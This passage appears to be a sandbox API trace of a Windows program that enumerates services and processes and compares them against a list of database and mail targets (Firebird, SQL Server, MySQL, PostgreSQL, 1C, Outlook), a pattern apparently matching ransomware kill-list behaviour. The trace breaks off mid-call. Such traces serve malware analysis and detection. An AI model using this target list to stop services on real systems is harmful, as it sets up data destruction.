[0232.638] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432a868, cbBufSize=0xc9a, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432a868, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0232.639] CloseServiceHandle (hSCObject=0x62e450) returned 1 [0232.640] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0232.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0232.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0232.640] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0232.640] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0232.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0232.640] lstrlenW (lpString="AudioSrv") returned 8 [0232.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0232.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0232.640] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0232.640] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0232.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0232.640] lstrlenW (lpString="BFE") returned 3 [0232.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0232.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0232.641] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0232.641] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0232.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0232.641] lstrlenW (lpString="CryptSvc") returned 8 [0232.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0232.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0232.641] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0232.641] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0232.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0232.642] lstrlenW (lpString="CscService") returned 10 [0232.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0232.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0232.642] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0232.642] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0232.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0232.642] lstrlenW (lpString="DcomLaunch") returned 10 [0232.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0232.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0232.642] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0232.642] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0232.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0232.642] lstrlenW (lpString="Dhcp") returned 4 [0232.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0232.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0232.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0232.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0232.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0232.643] lstrlenW (lpString="Dnscache") returned 8 [0232.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0232.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0232.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0232.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0232.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0232.643] lstrlenW (lpString="DPS") returned 3 [0232.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0232.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0232.644] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0232.644] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0232.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0232.644] lstrlenW (lpString="eventlog") returned 8 [0232.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0232.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0232.644] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0232.644] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0232.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0232.644] lstrlenW (lpString="EventSystem") returned 11 [0232.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0232.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0232.645] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0232.645] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0232.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0232.645] lstrlenW (lpString="gpsvc") returned 5 [0232.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0232.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0232.645] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0232.645] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0232.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0232.645] lstrlenW (lpString="LanmanWorkstation") returned 17 [0232.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0232.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0232.646] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0232.646] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0232.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0232.646] lstrlenW (lpString="lmhosts") returned 7 [0232.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0232.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0232.646] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0232.646] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0232.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0232.646] lstrlenW (lpString="MMCSS") returned 5 [0232.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0232.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0232.646] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0232.646] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0232.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0232.647] lstrlenW (lpString="MpsSvc") returned 6 [0232.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0232.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0232.647] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0232.647] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0232.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0232.647] lstrlenW (lpString="NlaSvc") returned 6 [0232.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0232.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0232.647] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0232.648] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0232.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0232.648] lstrlenW (lpString="nsi") returned 3 [0232.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0232.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0232.648] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0232.648] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0232.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0232.648] lstrlenW (lpString="PcaSvc") returned 6 [0232.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0232.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0232.648] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0232.648] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0232.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0232.649] lstrlenW (lpString="PlugPlay") returned 8 [0232.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0232.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0232.649] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0232.649] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0232.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0232.649] lstrlenW (lpString="Power") returned 5 [0232.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0232.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0232.649] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0232.649] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0232.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0232.649] lstrlenW (lpString="ProfSvc") returned 7 [0232.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0232.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0232.650] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0232.650] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0232.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0232.650] lstrlenW (lpString="RpcEptMapper") returned 12 [0232.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0232.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0232.650] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0232.650] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0232.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0232.650] lstrlenW (lpString="RpcSs") returned 5 [0232.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0232.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0232.651] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0232.651] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0232.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0232.651] lstrlenW (lpString="SamSs") returned 5 [0232.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0232.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0232.651] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0232.651] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0232.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0232.651] lstrlenW (lpString="Schedule") returned 8 [0232.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0232.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0232.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0232.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0232.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0232.652] lstrlenW (lpString="SENS") returned 4 [0232.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0232.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0232.656] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0232.656] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0232.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0232.656] lstrlenW (lpString="ShellHWDetection") returned 16 [0232.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0232.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0232.657] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0232.657] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0232.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0232.657] lstrlenW (lpString="Spooler") returned 7 [0232.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0232.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0232.657] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0232.657] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0232.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0232.657] lstrlenW (lpString="Themes") returned 6 [0232.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0232.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0232.657] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0232.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0232.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0232.658] lstrlenW (lpString="UxSms") returned 5 [0232.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0232.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0232.658] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0232.658] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0232.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0232.658] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432a868 | out: hHeap=0x590000) returned 1 [0232.658] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0232.663] Process32FirstW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0232.664] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0232.665] lstrlenW (lpString="System") returned 6 [0232.665] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0232.665] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0232.665] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0232.665] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0232.665] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0232.665] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0232.665] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0232.665] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0232.666] lstrlenW (lpString="smss.exe") returned 8 [0232.666] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0232.666] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0232.667] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0232.667] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0232.667] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0232.667] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0232.667] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0232.667] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.669] lstrlenW (lpString="csrss.exe") returned 9 [0232.669] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0232.669] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0232.669] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0232.669] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0232.669] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0232.669] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0232.669] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0232.669] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0232.670] lstrlenW (lpString="wininit.exe") returned 11 [0232.670] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0232.670] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0232.670] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0232.670] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0232.670] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0232.671] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0232.671] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0232.671] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0232.672] lstrlenW (lpString="csrss.exe") returned 9 [0232.672] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0232.672] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0232.672] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0232.672] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0232.672] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0232.672] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0232.672] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0232.672] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0232.673] lstrlenW (lpString="winlogon.exe") returned 12 [0232.673] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0232.673] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0232.673] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0232.673] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0232.673] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0232.673] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0232.673] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0232.674] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0232.674] lstrlenW (lpString="services.exe") returned 12 [0232.675] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0232.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0232.675] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0232.675] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0232.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0232.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0232.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0232.675] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0232.676] lstrlenW (lpString="lsass.exe") returned 9 [0232.676] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0232.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0232.676] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0232.676] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0232.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0232.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0232.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0232.677] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0232.678] lstrlenW (lpString="lsm.exe") returned 7 [0232.678] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0232.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0232.678] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0232.678] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0232.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0232.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0232.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0232.678] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.679] lstrlenW (lpString="svchost.exe") returned 11 [0232.679] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0232.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0232.679] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0232.679] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0232.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0232.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0232.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0232.680] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.681] lstrlenW (lpString="svchost.exe") returned 11 [0232.681] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0232.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0232.681] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0232.681] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0232.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0232.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0232.681] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0232.681] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.682] lstrlenW (lpString="svchost.exe") returned 11 [0232.682] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0232.682] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0232.682] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0232.682] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0232.683] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0232.683] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0232.683] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0232.683] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: 